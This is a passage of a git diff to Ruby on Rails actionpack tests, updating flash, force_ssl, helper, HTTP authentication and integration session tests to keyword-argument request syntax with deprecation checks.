       hash = Flash::FlashHash.from_session_value(session['flash'])
-      assert_equal({'flashes' => {'message' => 'Hello'}, 'discard' => %w[message]}, hash.to_session_value)
+      assert_equal({'greeting' => 'Hello'}, hash.to_hash)
+      assert_equal(nil, hash.to_session_value)
+    end
+
+    def test_from_session_value_on_json_serializer
+      decrypted_data = "{ \"session_id\":\"d98bdf6d129618fc2548c354c161cfb5\", \"flash\":{\"discard\":[\"farewell\"], \"flashes\":{\"greeting\":\"Hello\",\"farewell\":\"Goodbye\"}} }"
+      session = ActionDispatch::Cookies::JsonSerializer.load(decrypted_data)
+      hash = Flash::FlashHash.from_session_value(session['flash'])
+
+      assert_equal({'greeting' => 'Hello'}, hash.to_hash)
+      assert_equal(nil, hash.to_session_value)
+      assert_equal "Hello", hash[:greeting]
+      assert_equal "Hello", hash["greeting"]
     end
 
     def test_empty?
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index 3b874a739a..0ff0a1ef61 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -174,14 +174,14 @@ class FlashTest < ActionController::TestCase
     flash.update(:foo => :foo_indeed, :bar => :bar_indeed)
 
     assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
-    assert_nil flash.discard(:unknown) # non existant key passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard().to_hash) # nothing passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
+    assert_nil flash.discard(:unknown) # non existent key passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard().to_hash) # nothing passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
 
     assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
-    assert_nil flash.keep(:unknown) # non existant key passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep().to_hash) # nothing passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
+    assert_nil flash.keep(:unknown) # non existent key passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep().to_hash) # nothing passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
   end
 
   def test_redirect_to_with_alert
@@ -210,9 +210,30 @@ class FlashTest < ActionController::TestCase
   end
 
   def test_redirect_to_with_adding_flash_types
-    @controller.class.add_flash_types :foo
+    original_controller = @controller
+    test_controller_with_flash_type_foo = Class.new(TestController) do
+      add_flash_types :foo
+    end
+    @controller = test_controller_with_flash_type_foo.new
     get :redirect_with_foo_flash
     assert_equal "for great justice", @controller.send(:flash)[:foo]
+  ensure
+    @controller = original_controller
+  end
+
+  def test_add_flash_type_to_subclasses
+    test_controller_with_flash_type_foo = Class.new(TestController) do
+      add_flash_types :foo
+    end
+    subclass_controller_with_no_flash_type = Class.new(test_controller_with_flash_type_foo)
+    assert subclass_controller_with_no_flash_type._flash_types.include?(:foo)
+  end
+
+  def test_does_not_add_flash_type_to_parent_class
+    Class.new(TestController) do
+      add_flash_types :bar
+    end
+    assert_not TestController._flash_types.include?(:bar)
   end
 end
 
@@ -267,16 +288,16 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
   def test_setting_flash_does_not_raise_in_following_requests
     with_test_route_set do
       env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
-      get '/set_flash', nil, env
-      get '/set_flash', nil, env
+      get '/set_flash', env: env
+      get '/set_flash', env: env
     end
   end
 
   def test_setting_flash_now_does_not_raise_in_following_requests
     with_test_route_set do
       env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
-      get '/set_flash_now', nil, env
-      get '/set_flash_now', nil, env
+      get '/set_flash_now', env: env
+      get '/set_flash_now', env: env
     end
   end
 
@@ -291,9 +312,11 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest
   private
 
     # Overwrite get to send SessionSecret in env hash
-    def get(path, parameters = nil, env = {})
-      env["action_dispatch.key_generator"] ||= Generator
-      super
+    def get(path, *args)
+      args[0] ||= {}
+      args[0][:env] ||= {}
+      args[0][:env]["action_dispatch.key_generator"] ||= Generator
+      super(path, *args)
     end
 
     def with_test_route_set
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
index 3655b90e32..04222745d9 100644
--- a/actionpack/test/controller/force_ssl_test.rb
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -93,8 +93,6 @@ class RedirectToSSL < ForceSSLController
 end
 
 class ForceSSLControllerLevelTest < ActionController::TestCase
-  tests ForceSSLControllerLevel
-
   def test_banana_redirects_to_https
     get :banana
     assert_response 301
@@ -102,7 +100,7 @@ class ForceSSLControllerLevelTest < ActionController::TestCase
   end
 
   def test_banana_redirects_to_https_with_extra_params
-    get :banana, :token => "secret"
+    get :banana, params: { token: "secret" }
     assert_response 301
     assert_equal "https://test.host/force_ssl_controller_level/banana?token=secret", redirect_to_url
   end
@@ -115,8 +113,6 @@ class ForceSSLControllerLevelTest < ActionController::TestCase
 end
 
 class ForceSSLCustomOptionsTest < ActionController::TestCase
-  tests ForceSSLCustomOptions
-
   def setup
     @request.env['HTTP_HOST'] = 'www.example.com:80'
   end
@@ -189,8 +185,6 @@ class ForceSSLCustomOptionsTest < ActionController::TestCase
 end
 
 class ForceSSLOnlyActionTest < ActionController::TestCase
-  tests ForceSSLOnlyAction
-
   def test_banana_not_redirects_to_https
     get :banana
     assert_response 200
@@ -204,8 +198,6 @@ class ForceSSLOnlyActionTest < ActionController::TestCase
 end
 
 class ForceSSLExceptActionTest < ActionController::TestCase
-  tests ForceSSLExceptAction
-
   def test_banana_not_redirects_to_https
     get :banana
     assert_response 200
@@ -219,8 +211,6 @@ class ForceSSLExceptActionTest < ActionController::TestCase
 end
 
 class ForceSSLIfConditionTest < ActionController::TestCase
-  tests ForceSSLIfCondition
-
   def test_banana_not_redirects_to_https
     get :banana
     assert_response 200
@@ -234,8 +224,6 @@ class ForceSSLIfConditionTest < ActionController::TestCase
 end
 
 class ForceSSLFlashTest < ActionController::TestCase
-  tests ForceSSLFlash
-
   def test_cheeseburger_redirects_to_https
     get :set_flash
     assert_response 302
@@ -285,7 +273,7 @@ class ForceSSLFormatTest < ActionController::TestCase
         get '/foo', :to => 'force_ssl_controller_level#banana'
       end
 
-      get :banana, :format => :json
+      get :banana, format: :json
       assert_response 301
       assert_equal 'https://test.host/foo.json', redirect_to_url
     end
@@ -306,7 +294,7 @@ class ForceSSLOptionalSegmentsTest < ActionController::TestCase
       end
 
       @request.env['PATH_INFO'] = '/en/foo'
-      get :banana, :locale => 'en'
+      get :banana, params: { locale: 'en' }
       assert_equal 'en',  @controller.params[:locale]
       assert_response 301
       assert_equal 'https://test.host/en/foo', redirect_to_url
@@ -315,7 +303,6 @@ class ForceSSLOptionalSegmentsTest < ActionController::TestCase
 end
 
 class RedirectToSSLTest < ActionController::TestCase
-  tests RedirectToSSL
   def test_banana_redirects_to_https_if_not_https
     get :banana
     assert_response 301
@@ -334,4 +321,4 @@ class RedirectToSSLTest < ActionController::TestCase
     assert_response 200
     assert_equal 'ihaz', response.body
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 248c81193e..e263ed341f 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -29,7 +29,7 @@ module ImpressiveLibrary
   def useful_function() end
 end
 
-ActionController::Base.send :include, ImpressiveLibrary
+ActionController::Base.include(ImpressiveLibrary)
 
 class JustMeController < ActionController::Base
   clear_helpers
@@ -60,6 +60,12 @@ class HelpersPathsController < ActionController::Base
   end
 end
 
+class HelpersTypoController < ActionController::Base
+  path = File.expand_path('../../fixtures/helpers_typo', __FILE__)
+  $:.unshift(path)
+  self.helpers_path = path
+end
+
 module LocalAbcHelper
   def a() end
   def b() end
@@ -82,6 +88,22 @@ class HelperPathsTest < ActiveSupport::TestCase
   end
 end
 
+class HelpersTypoControllerTest < ActiveSupport::TestCase
+  def setup
+    @autoload_paths = ActiveSupport::Dependencies.autoload_paths
+    ActiveSupport::Dependencies.autoload_paths = Array(HelpersTypoController.helpers_path)
+  end
+
+  def test_helper_typo_error_message
+    e = assert_raise(NameError) { HelpersTypoController.helper 'admin/users' }
+    assert_equal "Couldn't find Admin::UsersHelper, expected it to be defined in helpers/admin/users_helper.rb", e.message
+  end
+
+  def teardown
+    ActiveSupport::Dependencies.autoload_paths = @autoload_paths
+  end
+end
+
 class HelperTest < ActiveSupport::TestCase
   class TestController < ActionController::Base
     attr_accessor :delegate_attr
@@ -202,6 +224,12 @@ class HelperTest < ActiveSupport::TestCase
     assert methods.include?(:foobar)
   end
 
+  def test_helper_proxy_config
+    AllHelpersController.config.my_var = 'smth'
+
+    assert_equal 'smth', AllHelpersController.helpers.config.my_var
+  end
+
   private
     def expected_helper_methods
       TestHelper.instance_methods
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
index 90548d4294..20962a90cb 100644
--- a/actionpack/test/controller/http_basic_authentication_test.rb
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -83,6 +83,13 @@ class HttpBasicAuthenticationTest < ActionController::TestCase
       assert_response :unauthorized
       assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
     end
+
+    test "unsuccessful authentication with #{header.downcase} and no credentials" do
+      get :show
+
+      assert_response :unauthorized
+      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and no credentials"
+    end
   end
 
   def test_encode_credentials_has_no_newline
@@ -129,6 +136,13 @@ class HttpBasicAuthenticationTest < ActionController::TestCase
     assert_response :unauthorized
   end
 
+  test "authentication request with wrong scheme" do
+    header = 'Bearer ' + encode_credentials('David', 'Goliath').split(' ', 2)[1]
+    @request.env['HTTP_AUTHORIZATION'] = header
+    get :search
+    assert_response :unauthorized
+  end
+
   private
 
   def encode_credentials(username, password)
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 9f1c168209..52a0bc9aa3 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
 
     def authenticate
       authenticate_or_request_with_http_digest("SuperSecret") do |username|
-        # Return the password
+        # Returns the password
         USERS[username]
       end
     end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
index ebf6d224aa..a758df2ec6 100644
--- a/actionpack/test/controller/http_token_authentication_test.rb
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
     private
 
     def authenticate
-      authenticate_or_request_with_http_token do |token, options|
+      authenticate_or_request_with_http_token do |token, _|
         token == 'lifo'
       end
     end
@@ -132,13 +132,69 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
     assert_equal(expected, actual)
   end
 
-  private
+  test "token_and_options returns empty string with empty token" do
+    token = ''
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+    expected = token
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns correct token with nounce option" do
+    token = "rcHu+HzSFw89Ypyhn/896A="
+    nonce_hash = {nonce: "123abc"}
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token, nonce_hash))
+    expected_token = token
+    expected_nonce = {"nonce" => nonce_hash[:nonce]}
+    assert_equal(expected_token, actual.first)
+    assert_equal(expected_nonce, actual.last)
+  end
 
-  def sample_request(token)
-    @sample_request ||= OpenStruct.new authorization: %{Token token="#{token}"}
+  test "token_and_options returns nil with no value after the equal sign" do
+    actual = ActionController::HttpAuthentication::Token.token_and_options(malformed_request).first
+    expected = nil
+    assert_equal(expected, actual)
   end
 
-  def encode_credentials(token, options = {})
-    ActionController::HttpAuthentication::Token.encode_credentials(token, options)
+  test "raw_params returns a tuple of two key value pair strings" do
+    auth = sample_request("rcHu+HzSFw89Ypyhn/896A=").authorization.to_s
+    actual = ActionController::HttpAuthentication::Token.raw_params(auth)
+    expected = ["token=\"rcHu+HzSFw89Ypyhn/896A=\"", "nonce=\"def\""]
+    assert_equal(expected, actual)
+  end
+
+  test "token_and_options returns right token when token key is not specified in header" do
+    token = "rcHu+HzSFw89Ypyhn/896A="
+
+    actual = ActionController::HttpAuthentication::Token.token_and_options(
+      sample_request_without_token_key(token)
+    ).first
+
+    expected = token
+    assert_equal(expected, actual)
   end
+
+  private
+
+    def sample_request(token, options = {nonce: "def"})
+      authorization = options.inject([%{Token token="#{token}"}]) do |arr, (k, v)|
+        arr << "#{k}=\"#{v}\""
+      end.join(", ")
+      mock_authorization_request(authorization)
+    end
+
+    def malformed_request
+      mock_authorization_request(%{Token token=})
+    end
+
+    def sample_request_without_token_key(token)
+      mock_authorization_request(%{Token #{token}})
+    end
+
+    def mock_authorization_request(authorization)
+      OpenStruct.new(authorization: authorization)
+    end
+
+    def encode_credentials(token, options = {})
+      ActionController::HttpAuthentication::Token.encode_credentials(token, options)
+    end
 end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index e851cc6a63..9ab1549e8e 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
-require 'action_view/vendor/html-scanner'
+require 'rails/engine'
 
 class SessionTest < ActiveSupport::TestCase
   StubApp = lambda { |env|
@@ -32,158 +32,275 @@ class SessionTest < ActiveSupport::TestCase
 
   def test_request_via_redirect_uses_given_method
     path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
-    @session.expects(:process).with(:put, path, args, headers)
+    @session.expects(:process).with(:put, path, params: args, headers: headers)
     @session.stubs(:redirect?).returns(false)
-    @session.request_via_redirect(:put, path, args, headers)
+    @session.request_via_redirect(:put, path, params: args, headers: headers)
+  end
+
+  def test_deprecated_request_via_redirect_uses_given_method
+    path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" }
+    @session.expects(:process).with(:put, path, params: args, headers: headers)
+    @session.stubs(:redirect?).returns(false)
+    assert_deprecated { @session.request_via_redirect(:put, path, args, headers) }
   end
 
   def test_request_via_redirect_follows_redirects
     path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
     @session.stubs(:redirect?).returns(true, true, false)
     @session.expects(:follow_redirect!).times(2)
-    @session.request_via_redirect(:get, path, args, headers)
+    @session.request_via_redirect(:get, path, params: args, headers: headers)
   end
 
   def test_request_via_redirect_returns_status
     path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
     @session.stubs(:redirect?).returns(false)
     @session.stubs(:status).returns(200)
-    assert_equal 200, @session.request_via_redirect(:get, path, args, headers)
+    assert_equal 200, @session.request_via_redirect(:get, path, params: args, headers: headers)
   end
 
-  def test_get_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+  def test_deprecated_get_via_redirect
+    path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" }
     @session.expects(:request_via_redirect).with(:get, path, args, headers)
-    @session.get_via_redirect(path, args, headers)
+
+    assert_deprecated do
+      @session.get_via_redirect(path, args, headers)
+    end
   end
 
-  def test_post_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+  def test_deprecated_post_via_redirect
+    path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" }
     @session.expects(:request_via_redirect).with(:post, path, args, headers)
-    @session.post_via_redirect(path, args, headers)
+
+    assert_deprecated do
+      @session.post_via_redirect(path, args, headers)
+    end
   end
 
-  def test_patch_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+  def test_deprecated_patch_via_redirect
+    path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" }
     @session.expects(:request_via_redirect).with(:patch, path, args, headers)
-    @session.patch_via_redirect(path, args, headers)
+
+    assert_deprecated do
+      @session.patch_via_redirect(path, args, headers)
+    end
   end
 
-  def test_put_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+  def test_deprecated_put_via_redirect
+    path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" }
     @session.expects(:request_via_redirect).with(:put, path, args, headers)
-    @session.put_via_redirect(path, args, headers)
+
+    assert_deprecated do
+      @session.put_via_redirect(path, args, headers)
+    end
   end
 
-  def test_delete_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+  def test_deprecated_delete_via_redirect
+    path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" }
     @session.expects(:request_via_redirect).with(:delete, path, args, headers)
-    @session.delete_via_redirect(path, args, headers)
+
+    assert_deprecated do
+      @session.delete_via_redirect(path, args, headers)
+    end
   end
 
   def test_get
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:get,path,params,headers)
-    @session.get(path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:get, path, params: params, headers: headers)
+    @session.get(path, params: params, headers: headers)
+  end
+
+  def test_get_with_env_and_headers
+    path = "/index"; params = "blah"; headers = { location: 'blah' }; env = { 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest' }
+    @session.expects(:process).with(:get, path, params: params, headers: headers, env: env)
+    @session.get(path, params: params, headers: headers, env: env)
+  end
+
+  def test_deprecated_get
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:get, path, params: params, headers: headers)
+    assert_deprecated {
+      @session.get(path, params, headers)
+    }
   end
 
   def test_post
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:post,path,params,headers)
-    @session.post(path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:post, path, params: params, headers: headers)
+    assert_deprecated {
+      @session.post(path, params, headers)
+    }
+  end
+
+  def test_deprecated_post
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:post, path, params: params, headers: headers)
+    @session.post(path, params: params, headers: headers)
   end
 
   def test_patch
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:patch,path,params,headers)
-    @session.patch(path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:patch, path, params: params, headers: headers)
+    @session.patch(path, params: params, headers: headers)
+  end
+
+  def test_deprecated_patch
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:patch, path, params: params, headers: headers)
+    assert_deprecated {
+      @session.patch(path, params, headers)
+    }
   end
 
   def test_put
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:put,path,params,headers)
-    @session.put(path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:put, path, params: params, headers: headers)
+    @session.put(path, params: params, headers: headers)
+  end
+
+  def test_deprecated_put
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:put, path, params: params, headers: headers)
+    assert_deprecated {
+      @session.put(path, params, headers)
+    }
   end
 
   def test_delete
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:delete,path,params,headers)
-    @session.delete(path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:delete, path, params: params, headers: headers)
+    assert_deprecated {
+      @session.delete(path,params,headers)
+    }
+  end
+
+  def test_deprecated_delete
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:delete, path, params: params, headers: headers)
+    @session.delete(path, params: params, headers: headers)
   end
 
   def test_head
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:head,path,params,headers)
-    @session.head(path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:head, path, params: params, headers: headers)
+    @session.head(path, params: params, headers: headers)
+  end
+
+  def deprecated_test_head
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:head, path, params: params, headers: headers)
+    assert_deprecated {
+      @session.head(path, params, headers)
+    }
   end
 
   def test_xml_http_request_get
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:get,path,params,headers_after_xhr)
-    @session.xml_http_request(:get,path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:get, path, params: params, headers: headers, xhr: true)
+    @session.get(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_xml_http_request_get
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:get, path, params: params, headers: headers, xhr: true)
+    @session.get(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_args_xml_http_request_get
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:get, path, params: params, headers: headers, xhr: true)
+    assert_deprecated(/xml_http_request/) {
+      @session.xml_http_request(:get, path, params, headers)
+    }
   end
 
   def test_xml_http_request_post
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:post,path,params,headers_after_xhr)
-    @session.xml_http_request(:post,path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:post, path, params: params, headers: headers, xhr: true)
+    @session.post(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_xml_http_request_post
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:post, path, params: params, headers: headers, xhr: true)
+    @session.post(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_args_xml_http_request_post
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:post, path, params: params, headers: headers, xhr: true)
+    assert_deprecated(/xml_http_request/) { @session.xml_http_request(:post,path,params,headers) }
   end
 
   def test_xml_http_request_patch
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:patch,path,params,headers_after_xhr)
-    @session.xml_http_request(:patch,path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:patch, path, params: params, headers: headers, xhr: true)
+    @session.patch(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_xml_http_request_patch
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:patch, path, params: params, headers: headers, xhr: true)
+    @session.patch(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_args_xml_http_request_patch
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:patch, path, params: params, headers: headers, xhr: true)
+    assert_deprecated(/xml_http_request/) { @session.xml_http_request(:patch,path,params,headers) }
   end
 
   def test_xml_http_request_put
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:put,path,params,headers_after_xhr)
-    @session.xml_http_request(:put,path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:put, path, params: params, headers: headers, xhr: true)
+    @session.put(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_xml_http_request_put
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:put, path, params: params, headers: headers, xhr: true)
+    @session.put(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_args_xml_http_request_put
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:put, path, params: params, headers: headers, xhr: true)
+    assert_deprecated(/xml_http_request/) { @session.xml_http_request(:put, path, params, headers) }
   end
 
   def test_xml_http_request_delete
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:delete,path,params,headers_after_xhr)
-    @session.xml_http_request(:delete,path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:delete, path, params: params, headers: headers, xhr: true)
+    @session.delete(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_xml_http_request_delete
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:delete, path, params: params, headers: headers, xhr: true)
+    assert_deprecated { @session.xml_http_request(:delete, path, params: params, headers: headers) }
+  end
+
+  def test_deprecated_args_xml_http_request_delete
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:delete, path, params: params, headers: headers, xhr: true)
+    assert_deprecated(/xml_http_request/) { @session.xml_http_request(:delete, path, params, headers) }
   end
 
   def test_xml_http_request_head
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:head,path,params,headers_after_xhr)
-    @session.xml_http_request(:head,path,params,headers)
-  end
-
-  def test_xml_http_request_override_accept
-    path = "/index"; params = "blah"; headers = {:location => 'blah', "HTTP_ACCEPT" => "application/xml"}
-    headers_after_xhr = headers.merge(
-      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
-    )
-    @session.expects(:process).with(:post,path,params,headers_after_xhr)
-    @session.xml_http_request(:post,path,params,headers)
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:head, path, params: params, headers: headers, xhr: true)
+    @session.head(path, params: params, headers: headers, xhr: true)
+  end
+
+  def test_deprecated_xml_http_request_head
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:head, path, params: params, headers: headers, xhr: true)
+    assert_deprecated(/xml_http_request/) { @session.xml_http_request(:head, path, params: params, headers: headers) }
+  end
+
+  def test_deprecated_args_xml_http_request_head
+    path = "/index"; params = "blah"; headers = { location: 'blah' }
+    @session.expects(:process).with(:head, path, params: params, headers: headers, xhr: true)
+    assert_deprecated { @session.xml_http_request(:head, path, params, headers) }
   end
 end
 
@@ -279,6 +396,11 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
     def redirect
       redirect_to action_url('get')
     end
+
+    def remove_default_header
+      response.headers.except! 'X-Frame-Options'
+      head :ok
+    end
   end
 
   def test_get
@@ -292,7 +414,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
       assert_equal({}, cookies.to_hash)
       assert_equal "OK", body
       assert_equal "OK", response.body
-      assert_kind_of HTML::Document, html_document
+      assert_kind_of Nokogiri::HTML::Document, html_document
       assert_equal 1, request_count
     end
   end
@@ -308,7 +430,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
       assert_equal({}, cookies.to_hash)
       assert_equal "Created", body
       assert_equal "Created", response.body
-      assert_kind_of HTML::Document, html_document
+      assert_kind_of Nokogiri::HTML::Document, html_document
       assert_equal 1, request_count
     end
   end
@@ -368,18 +490,34 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
       assert_response :redirect
       assert_response :found
       assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
-      assert_kind_of HTML::Document, html_document
+      assert_kind_of Nokogiri::HTML::Document, html_document
       assert_equal 1, request_count
 
       follow_redirect!
       assert_response :success
       assert_equal "/get", path
+
+      get '/moved'
+      assert_response :redirect
+      assert_redirected_to '/method'
     end
   end
 
   def test_xml_http_request_get
     with_test_route_set do
-      xhr :get, '/get'
+      get '/get', xhr: true
+      assert_equal 200, status
+      assert_equal "OK", status_message
+      assert_response 200
+      assert_response :success
+      assert_response :ok
+      assert_equal "JS OK", response.body
+    end
+  end
+
+  def test_deprecated_xml_http_request_get
+    with_test_route_set do
+      assert_deprecated { xhr :get, '/get' }
       assert_equal 200, status
       assert_equal "OK", status_message
       assert_response 200
@@ -391,7 +529,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
 
   def test_request_with_bad_format
     with_test_route_set do
-      xhr :get, '/get.php'
